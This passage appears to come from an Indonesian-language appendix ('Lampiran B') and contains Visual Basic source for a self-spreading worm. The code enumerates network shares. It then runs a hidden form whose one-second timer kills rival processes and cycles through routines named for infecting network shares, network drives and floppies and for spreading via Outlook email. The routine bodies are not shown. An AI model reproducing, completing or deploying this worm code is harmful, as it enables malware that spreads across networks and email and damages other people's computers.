   nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
   nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
   If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
      If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
         If nrCount > 0 Then
            ReDim sShares(nrCount - 1) As String
            For nrLen = 0 To (nrCount - 1)
               sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
               Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
            Next nrLen
            retval = True
         End If
      End If
      Call WNetCloseEnum(hEnum)
   End If
   GetShares = retval
End Function

Lampiran B


‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer       '0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then    ‘jangan overlapping proses
   SedangInfeksi = True
   If Aktifitas = 0 Then
      Call InfeksiMySharing
   ElseIf Aktifitas = 1 Then
      Call AmbilDomain
   ElseIf Aktifitas = 2 Then
      Call AmbilComputer
   ElseIf Aktifitas = 3 Then
      Call AmbilDrive
   ElseIf Aktifitas = 4 Then
      Call InfeksiNetworkDrive
   ElseIf Aktifitas = 5 Then
      Call InfeksiFloppy
   ElseIf Aktifitas = 6 Then
      'Call InfeksiFlashDisk
   ElseIf Aktifitas = 7 Then
      Call InfeksiMySharing
   ElseIf Aktifitas = 8 Then
      If Not SpreadEmail Then
         Call SpreadEmailOutlook
         SpreadEmail = True
      End If
      Aktifitas = 1
   End If
   Aktifitas = (Aktifitas + 1)
   SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub